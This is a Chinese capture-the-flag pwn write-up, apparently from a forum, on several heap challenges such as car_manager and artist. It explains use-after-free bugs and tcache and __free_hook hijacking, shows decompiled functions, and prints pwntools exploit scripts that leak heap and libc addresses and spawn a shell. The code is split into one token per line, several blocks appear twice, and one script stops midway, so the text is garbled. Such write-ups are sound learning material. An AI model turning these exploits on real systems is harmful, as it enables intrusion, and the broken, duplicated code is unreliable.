题目挺抽象的,好久没打比赛了十分手生,决赛加油吧
fix的话,over和artist都是加上沙箱即可。car_manager和223heap把free或者delete函数全部nop掉即可。
下面是break部分
C++的堆菜单题,抹了函数名,逆向起来有难度的话可以动调来推测功能
申请了4个0x8的堆块作为轮子放置了tire_size和tire_pressure,0x68作为车子本体,包含了make、model、year等信息,在最后放置了四个轮子的堆块指针
copy函数中在复制轮子时,也直接复制4个轮子的堆块指针,这导致free原本的车子堆块后新车辆轮子堆块内容不再是tire_size和tire_pressure,而变为tcache上的堆地址
实际上实现了一个UAF漏洞,free函数的机制则是当我们free一个堆块时,会将下一个车子堆块依次回退一格,但高位仍保留
触发漏洞即可完成堆地址的泄露,利用UAF劫持tcache堆块的fd,申请到unsortbin堆块泄露libc,再次劫持fd申请到free_hook完成利用
(值得注意的是,在申请unsortbin位置堆块后导致双向链表被破坏,无法再从unsortbin里申请堆块,要控制劫持的tcache位置,满足申请一次需要的4个0x20堆块)
这道题漏洞挺多,关键漏洞点在于3号功能在第一次使用时,可以将一个ptr堆块地址放进buf,然后可以进入一个执行分支,输入yes可以在buf附近的位置写入0,这里可以实现任意libc地址写0,但似乎用不上。最后会执行一个对buf的0x10的写入,由于第二次开始不用再输入idx就能直接对buf进行修改,如果buf的堆块被free,就达到了一个UAF的效果
idx不会减少,最大为19(需要注意的是,而执行功能2当idx大于>15时程序会exit)
放置idx过大,所以利用UAF劫持申请到tcache_struct,修改tcache堆块个数,从而将堆块放入unsortbin泄露libc地址,同样的办法再劫持tcache的fd申请free_hook
题目看上去存在一个很复杂的算法,观察发现其3个功能都是对*(&ptr + num + 12)这个位置的值进行加减异或,而num却为int类型
题目开始将puts的真实地址放在了puts_addr 变量上。由于有效的输出函数无法泄露libc,这里可以控制num来修改puts_addr为system函数的真实地址,也就是puts函数的真实地址+相对偏移=system函数的真实地址,再调用4功能即可实现getshell。
num的计算可以参考汇编,0x28/4-0xc=-2
题目一共能申请三种大小的堆块,分别存放在free/ptr/buf中(这里的free覆盖并不能达到执行函数的目的,因为free_got已经存在真实函数地址),通过切割unsortbin堆块可以获得libc地址
dele功能0/1/2分别指代buf ptr free,难点在于free(1)即free ptr时,会导致ptr_size被置为0,没有办法使用show功能,所以要注意泄露地址之前不能free(1)
由于在进行free时并不会对指针置0,可以操作指针让它们指向同一堆块,实现堆叠,利用edit功能实现UAF的利用
由于2.23只能申请fastbin,所以申请0x68的堆块,劫持到malloc_hook-0x23,覆盖为one_gadget
for
( i
=
0
; i <
=
3
;
+
+
i )
{
*
(&v10
+
i)
=
operator new(
8uLL
);
if
( tire_size )
*
*
(&v10
+
i)
=
tire_size;
if
( tire_pressure )
*
(
*
(&v10
+
i)
+
4
)
=
tire_pressure;
}
if
( year )
{
std::string::basic_string(v14, make);
std::string::basic_string(v15, model);
v1
=
operator new(
0x68uLL
);
sub_3644(v1, v14, v15, year, v10, v11, v12, v13);
v7
=
v1;
std::string::~string(v15);
std::string::~string(v14);
sub_3C48(a1, &v7);
std::operator<<<std::char_traits<char>>(&std::cout,
"Car added successfully!\n"
);
}
for
( i
=
0
; i <
=
3
;
+
+
i )
{
*
(&v10
+
i)
=
operator new(
8uLL
);
if
( tire_size )
*
*
(&v10
+
i)
=
tire_size;
if
( tire_pressure )
*
(
*
(&v10
+
i)
+
4
)
=
tire_pressure;
}
if
( year )
{
std::string::basic_string(v14, make);
std::string::basic_string(v15, model);
v1
=
operator new(
0x68uLL
);
sub_3644(v1, v14, v15, year, v10, v11, v12, v13);
v7
=
v1;
std::string::~string(v15);
std::string::~string(v14);
sub_3C48(a1, &v7);
std::operator<<<std::char_traits<char>>(&std::cout,
"Car added successfully!\n"
);
}
__int64 __fastcall sub_3B46(_QWORD
*
a1, _QWORD
*
a2)
{
__int64 v2;
/
/
rdx
__int64 result;
/
/
rax
__int64 v4;
/
/
rdx
std::string::basic_string(a1, a2);
std::string::basic_string(a1
+
4
, a2
+
4
);
a1[
8
]
=
a2[
8
];
v2
=
a2[
10
];
a1[
9
]
=
a2[
9
];
a1[
10
]
=
v2;
result
=
a2[
11
];
v4
=
a2[
12
];
a1[
11
]
=
result;
a1[
12
]
=
v4;
return
result;
}
__int64 __fastcall sub_3B46(_QWORD
*
a1, _QWORD
*
a2)
{
__int64 v2;
/
/
rdx
__int64 result;
/
/
rax
__int64 v4;
/
/
rdx
std::string::basic_string(a1, a2);
std::string::basic_string(a1
+
4
, a2
+
4
);
a1[
8
]
=
a2[
8
];
v2
=
a2[
10
];
a1[
9
]
=
a2[
9
];
a1[
10
]
=
v2;
result
=
a2[
11
];
v4
=
a2[
12
];
a1[
11
]
=
result;
a1[
12
]
=
v4;
return
result;
}
from
pwn
import
*
import
re
import
os, struct, random, time, sys, signal
import
hashlib
from
hashlib
import
sha256
p
=
process(
"./car_manager"
)
elf
=
ELF(
"./car_manager"
)
libc
=
elf.libc
context.log_level
=
"debug"
context.arch
=
elf.arch
context.terminal
=
[
'tmux'
,
'splitw'
,
'-hp'
,
'64'
]
def
dbg(breakpoint
=
''):
elf_base
=
int
(os.popen(
'pmap {}| awk \x27{{print \x241}}\x27'
.
format
(p.pid)).readlines()[
1
],
16
)
if
elf.pie
else
0
script
=
'b *{:#x}\n'
.
format
(
int
(breakpoint)
+
elf_base)
if
isinstance
(breakpoint,
int
)
else
breakpoint
gdb.attach(p,script)
pause()
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
text,data :p.sendafter(text,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
text,data :p.sendlineafter(text,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
text :p.recvuntil(text)
ia
=
lambda
:p.interactive()
hs256
=
lambda
data :sha256(
str
(data).encode()).hexdigest()
l32
=
lambda
:u32(p.recvuntil(
"\xf7"
)[
-
4
:].ljust(
4
,
"\x00"
))
l64
=
lambda
:u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
uu32
=
lambda
:u32(p.recv(
4
).ljust(
4
,
'\x00'
))
uu64
=
lambda
:u64(p.recv(
6
).ljust(
8
,
'\x00'
))
int16
=
lambda
data :
int
(data,
16
)
lg
=
lambda
s :p.success(
'%s -> 0x%x'
%
(s,
eval
(s)))
def
add(make,model,year,size,pressure):
sla(
"Please enter your choice:"
,
1
)
sla(
"Enter the make of the car: "
,make)
sla(
"Enter the model of the car: "
,model)
sla(
"Enter the year of the car: "
,year)
sla(
"Enter the size of tire : "
,size)
sla(
"Enter the pressure of tire : "
,pressure)
def
dele(idx):
sla(
"Please enter your choice:"
,
2
)
sla(
"Enter the index of the car to delete: "
,idx)
def
find(make,model,year):
sla(
"Please enter your choice:"
,
3
)
sla(
"Enter the make of the car to find: "
,make)
sla(
"Enter the model of the car to find: "
,model)
sla(
"Enter the year of the car to find: "
,year)
def
edit(idx, make, model, year, choice, tire_size, tire_pressure, tire_idx
=
None
):
sla(
"Please enter your choice:"
,
4
)
sla(
"Enter the index of the car to modify: "
,idx)
sla(
"Enter the new make of the car: "
,make)
sla(
"Enter the new model of the car: "
,model)
sla(
"Enter the new year of the car: "
,year)
sla(
"Do you want to change all tires?(1/0)"
,choice)
if
choice
=
=
1
:
sla(
"Enter the new size of tire : "
,tire_size)
sla(
"Enter the new pressure of tire : "
,tire_pressure)
else
:
sla(
"Enter the idx of tire : "
,tire_idx)
sla(
"Enter the new size of tire : "
,tire_size)
sla(
"Enter the new pressure of tire : "
,tire_pressure)
def
copy(idx):
sla(
"Please enter your choice:"
,
5
)
sla(
"Enter the index of the car to copy: "
,idx)
def
show():
sla(
"Please enter your choice:"
,
6
)
for
i
in
range
(
0x101
):
add(
'e4l4'
,i,
1999
,
0x10
,
0x10
)
copy(
0
)
copy(
255
)
dele(
0
)
show()
ru(
"Tire Sizes: 0, "
)
heap_base_2
=
int
((ru(
","
)[:
-
1
]),
10
)
lg(
'heap_base_2'
)
ru(
"Tire Pressures: 0, "
)
heap_base_1
=
int
((ru(
","
)[:
-
1
]),
10
)
lg(
'heap_base_1'
)
heap_base
=
(heap_base_1 <<
32
)
+
heap_base_2
-
0x011eb0
lg(
'heap_base'
)
unsort_heap_2
=
(heap_base
+
0x01a0b0
)&
0xffffffff
unsort_heap_1
=
(heap_base
+
0x01a0b0
)>>
32
edit(
256
,
'e4l4'
,
1
,
1999
,
1
,unsort_heap_2
+
0x10
,unsort_heap_1)
add(
'e4l4'
,
259
,
1999
,
0
,
0
)
show()
ru(
"Car 258:"
)
ru(
", "
)
libc_base_2
=
int
((ru(
","
)[:
-
1
]),
10
)
ru(
"Tire Pressures: "
)
ru(
", "
)
libc_base_1
=
int
((ru(
","
)[:
-
1
]),
10
)
libc_base
=
(libc_base_1 <<
32
)
+
libc_base_2
-
0x1ecbe0
lg(
"libc_base"
)
free_hook
=
libc_base
+
0x1eee48
system
=
libc_base
+
0x52290
sh
=
0x68732f6e69622f
dele(
257
)
show()
edit(
254
,
'e4l4'
,
1
,
1999
,
0
,free_hook&
0xffffffff
,free_hook>>
32
,
1
)
edit(
254
,
'e4l4'
,
1
,
1999
,
0
,sh&
0xffffffff
,sh>>
32
,
0
)
add(
'e4l4'
,
'e4l4'
,
1999
,system&
0xffffffff
,system>>
32
)
dele(
254
)
ia()
from
pwn
import
*
import
re
import
os, struct, random, time, sys, signal
import
hashlib
from
hashlib
import
sha256
p
=
process(
"./car_manager"
)
elf
=
ELF(
"./car_manager"
)
libc
=
elf.libc
context.log_level
=
"debug"
context.arch
=
elf.arch
context.terminal
=
[
'tmux'
,
'splitw'
,
'-hp'
,
'64'
]
def
dbg(breakpoint
=
''):
elf_base
=
int
(os.popen(
'pmap {}| awk \x27{{print \x241}}\x27'
.
format
(p.pid)).readlines()[
1
],
16
)
if
elf.pie
else
0
script
=
'b *{:#x}\n'
.
format
(
int
(breakpoint)
+
elf_base)
if
isinstance
(breakpoint,
int
)
else
breakpoint
gdb.attach(p,script)
pause()
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
text,data :p.sendafter(text,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
text,data :p.sendlineafter(text,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
text :p.recvuntil(text)
ia
=
lambda
:p.interactive()
hs256
=
lambda
data :sha256(
str
(data).encode()).hexdigest()
l32
=
lambda
:u32(p.recvuntil(
"\xf7"
)[
-
4
:].ljust(
4
,
"\x00"
))
l64
=
lambda
:u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
uu32
=
lambda
:u32(p.recv(
4
).ljust(
4
,
'\x00'
))
uu64
=
lambda
:u64(p.recv(
6
).ljust(
8
,
'\x00'
))
int16
=
lambda
data :
int
(data,
16
)
lg
=
lambda
s :p.success(
'%s -> 0x%x'
%
(s,
eval
(s)))
def
add(make,model,year,size,pressure):
sla(
"Please enter your choice:"
,
1
)
sla(
"Enter the make of the car: "
,make)
sla(
"Enter the model of the car: "
,model)
sla(
"Enter the year of the car: "
,year)
sla(
"Enter the size of tire : "
,size)
sla(
"Enter the pressure of tire : "
,pressure)
def
dele(idx):
sla(
"Please enter your choice:"
,
2
)
sla(
"Enter the index of the car to delete: "
,idx)
def
find(make,model,year):
sla(
"Please enter your choice:"
,
3
)
sla(
"Enter the make of the car to find: "
,make)
sla(
"Enter the model of the car to find: "
,model)
sla(
"Enter the year of the car to find: "
,year)
def
edit(idx, make, model, year, choice, tire_size, tire_pressure, tire_idx
=
None
):
sla(
"Please enter your choice:"
,
4
)
sla(
"Enter the index of the car to modify: "
,idx)
sla(
"Enter the new make of the car: "
,make)
sla(
"Enter the new model of the car: "
,model)
sla(
"Enter the new year of the car: "
,year)
sla(
"Do you want to change all tires?(1/0)"
,choice)
if
choice
=
=
1
:
sla(
"Enter the new size of tire : "
,tire_size)
sla(
"Enter the new pressure of tire : "
,tire_pressure)
else
:
sla(
"Enter the idx of tire : "
,tire_idx)
sla(
"Enter the new size of tire : "
,tire_size)
sla(
"Enter the new pressure of tire : "
,tire_pressure)
def
copy(idx):
sla(
"Please enter your choice:"
,
5
)
sla(
"Enter the index of the car to copy: "
,idx)
def
show():
sla(
"Please enter your choice:"
,
6
)
for
i
in
range
(
0x101
):
add(
'e4l4'
,i,
1999
,
0x10
,
0x10
)
copy(
0
)
copy(
255
)
dele(
0
)
show()
ru(
"Tire Sizes: 0, "
)
heap_base_2
=
int
((ru(
","
)[:
-
1
]),
10
)
lg(
'heap_base_2'
)
ru(
"Tire Pressures: 0, "
)
heap_base_1
=
int
((ru(
","
)[:
-
1
]),
10
)
lg(
'heap_base_1'
)
heap_base
=
(heap_base_1 <<
32
)
+
heap_base_2
-
0x011eb0
lg(
'heap_base'
)
unsort_heap_2
=
(heap_base
+
0x01a0b0
)&
0xffffffff
unsort_heap_1
=
(heap_base
+
0x01a0b0
)>>
32
edit(
256
,
'e4l4'
,
1
,
1999
,
1
,unsort_heap_2
+
0x10
,unsort_heap_1)
add(
'e4l4'
,
259
,
1999
,
0
,
0
)
show()
ru(
"Car 258:"
)
ru(
", "
)
libc_base_2
=
int
((ru(
","
)[:
-
1
]),
10
)
ru(
"Tire Pressures: "
)
ru(
", "
)
libc_base_1
=
int
((ru(
","
)[:
-
1
]),
10
)
libc_base
=
(libc_base_1 <<
32
)
+
libc_base_2
-
0x1ecbe0
lg(
"libc_base"
)
free_hook
=
libc_base
+
0x1eee48
system
=
libc_base
+
0x52290
sh
=
0x68732f6e69622f
dele(
257
)
show()
edit(
254
,
'e4l4'
,
1
,
1999
,
0
,free_hook&
0xffffffff
,free_hook>>
32
,
1
)
edit(
254
,
'e4l4'
,
1
,
1999
,
0
,sh&
0xffffffff
,sh>>
32
,
0
)
add(
'e4l4'
,
'e4l4'
,
1999
,system&
0xffffffff
,system>>
32
)
dele(
254
)
ia()
__int64 sub_1411()
{
unsigned
int
v1;
/
/
[rsp
+
8h
] [rbp
-
38h
] BYREF
int
v2;
/
/
[rsp
+
Ch] [rbp
-
34h
]
char s1[
40
];
/
/
[rsp
+
10h
] [rbp
-
30h
] BYREF
unsigned __int64 v4;
/
/
[rsp
+
38h
] [rbp
-
8h
]
v4
=
__readfsqword(
0x28u
);
v2
=
0
;
if
( isFirst )
{
write_s(
"What? Great artists need scrap paper for art?\n"
);
write_s(
"idx: \n"
);
__isoc99_scanf(
"%u"
, &v1);
buf
=
*
(&ptr
+
v1
+
4
);
isFirst
=
0
;
}
write_s(
"do you want crazy\n"
);
__isoc99_scanf(
"%3s"
, s1);
if
( !strncmp(s1,
"yes"
,
3uLL
) )
v2
=
1
;
if
( v2 )
set_0();
return
read_buf();
}
__int64 sub_1411()
{
unsigned
int
v1;
/
/
[rsp
+
8h
] [rbp
-
38h
] BYREF
int
v2;
/
/
[rsp
+
Ch] [rbp
-
34h
]
char s1[
40
];
/
/
[rsp
+
10h
] [rbp
-
30h
] BYREF
unsigned __int64 v4;
/
/
[rsp
+
38h
] [rbp
-
8h
]
v4
=
__readfsqword(
0x28u
);
v2
=
0
;
if
( isFirst )
{
write_s(
"What? Great artists need scrap paper for art?\n"
);
write_s(
"idx: \n"
);
__isoc99_scanf(
"%u"
, &v1);
buf
=
*
(&ptr
+
v1
+
4
);
isFirst
=
0
;
}
write_s(
"do you want crazy\n"
);
__isoc99_scanf(
"%3s"
, s1);
if
( !strncmp(s1,
"yes"
,
3uLL
) )
v2
=
1
;
if
( v2 )
set_0();
return
read_buf();
}
from
pwn
import
*
import
re
import
os, struct, random, time, sys, signal
import
hashlib
from
hashlib
import
sha256
p
=
process(
"./pwn"
)
elf
=
ELF(
"./pwn"
)
libc
=
elf.libc
context.log_level
=
"debug"
context.arch
=
elf.arch
context.terminal
=
[
'tmux'
,
'splitw'
,
'-hp'
,
'64'
]
def
dbg(breakpoint
=
''):
elf_base
=
int
(os.popen(
'pmap {}| awk \x27{{print \x241}}\x27'
.
format
(p.pid)).readlines()[
1
],
16
)
if
elf.pie
else
0
script
=
'b *{:#x}\n'
.
format
(
int
(breakpoint)
+
elf_base)
if
isinstance
(breakpoint,
int
)
else
breakpoint
gdb.attach(p,script)
pause()
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
text,data :p.sendafter(text,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
text,data :p.sendlineafter(text,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
text :p.recvuntil(text)
ia
=
lambda
:p.interactive()
hs256
=
lambda
data :sha256(
str
(data).encode()).hexdigest()
l32
=
lambda
:u32(p.recvuntil(
"\xf7"
)[
-
4
:].ljust(
4
,
"\x00"
))
l64
=
lambda
:u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
uu32
=
lambda
:u32(p.recv(
4
).ljust(
4
,
'\x00'
))
uu64
=
lambda
:u64(p.recv(
6
).ljust(
8
,
'\x00'
))
int16
=
lambda
data :
int
(data,
16
)
lg
=
lambda
s :p.success(
'%s -> 0x%x'
%
(s,
eval
(s)))
def
add(con):
sla(
">"
,
1
)
p.sendafter(
"input some"
,con)
def
edit(idx,con):
sla(
">"
,
2
)
sla(
"idx:"
,idx)
sla(
"Would you like to make final edits?"
,
1
)
p.sendafter(
"input your content"
,con)
def
show(idx):
sla(
">"
,
2
)
sla(
"idx:"
,idx)
sla(
"Would you like to make final edits?"
,
2
)
buf
=
0x4060
ptr
=
0x4088
sla(
"Let us get to know each other."
,
'e4l4'
)
add(
'a'
)
add(
'a'
)
add(
'a'
)
show(
2
)
show(
0
)
show(
1
)
add(
'a'
)
add(
'a'
)
sla(
">"
,
3
)
sla(
"idx:"
,
3
)
sa(
"do you want crazy"
,
'f\n'
)
sa(
"Go ahead and doodle for your artistic inspiration."
,
'a'
)
show(
3
)
ru(
"Please enjoy your masterpiece.\n"
)
heap_base
=
uu64()
lg(
"heap_base"
)
sla(
">"
,
3
)
sa(
"do you want crazy"
,
'f\n'
)
sa(
"Go ahead and doodle for your artistic inspiration."
,p64(heap_base
-
0x261
+
0x10
))
add(
'a'
)
add(
'\x00'
*
0xe
+
'\x07\x00'
)
show(
5
)
show(
4
)
edit(
6
,
'\x00'
*
0x10
)
add(
'a'
)
show(
7
)
libc_base
=
l64()
-
0x1ecc61
lg(
'libc_base'
)
free_hook
=
libc_base
+
libc.sym[
"__free_hook"
]
system
=
libc_base
+
libc.sym[
"system"
]
add(
'a'
)
add(
'a'
)
show(
8
)
show(
9
)
sla(
">"
,
3
)
sa(
"do you want crazy"
,
'f\n'
)
sa(
"Go ahead and doodle for your artistic inspiration."
,p64(free_hook))
add(
'/bin/sh\x00'
)
add(p64(system))
show(
10
)
ia()
from
pwn
import
*
import
re
import
os, struct, random, time, sys, signal
import
hashlib
from
hashlib
import
sha256
p
=
process(
"./pwn"
)
elf
=
ELF(
"./pwn"
)
libc
=
elf.libc
context.log_level
=
"debug"
context.arch
=
elf.arch
context.terminal
=
[
'tmux'
,
'splitw'
,
'-hp'
,
'64'
]
def
dbg(breakpoint
=
''):
elf_base
=
int
(os.popen(
'pmap {}| awk \x27{{print \x241}}\x27'
.
format
(p.pid)).readlines()[
1
],
16
)
if
elf.pie
else
0
script
=
'b *{:#x}\n'
.
format
(
int
(breakpoint)
+
elf_base)
if
isinstance
(breakpoint,
int
)
else
breakpoint
gdb.attach(p,script)
pause()
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
text,data :p.sendafter(text,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
text,data :p.sendlineafter(text,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
text :p.recvuntil(text)
ia
=
lambda
:p.interactive()
hs256
=
lambda
data :sha256(
str
(data).encode()).hexdigest()
l32
=
lambda
:u32(p.recvuntil(
"\xf7"
)[
-
4
:].ljust(
4
,
"\x00"
))
l64
=
lambda
:u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
uu32
=
lambda
:u32(p.recv(
4
).ljust(
4
,
'\x00'
))
uu64
=
lambda
:u64(p.recv(
6
).ljust(
8
,
'\x00'
))
int16
=
lambda
data :
int
(data,
16
)
lg
=
lambda
s :p.success(
'%s -> 0x%x'
%
(s,
eval
(s)))
def
add(con):
sla(
">"
,
1
)
p.sendafter(
"input some"
,con)
def
edit(idx,con):
sla(
">"
,
2
)
sla(
"idx:"
,idx)
sla(
"Would you like to make final edits?"
,
1
)
p.sendafter(
"input your content"
,con)
def
show(idx):
sla(
">"
,
2
)
sla(
"idx:"
,idx)
sla(
"Would you like to make final edits?"
,
2
)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2023-6-20 10:23
被ef4tless编辑
,原因: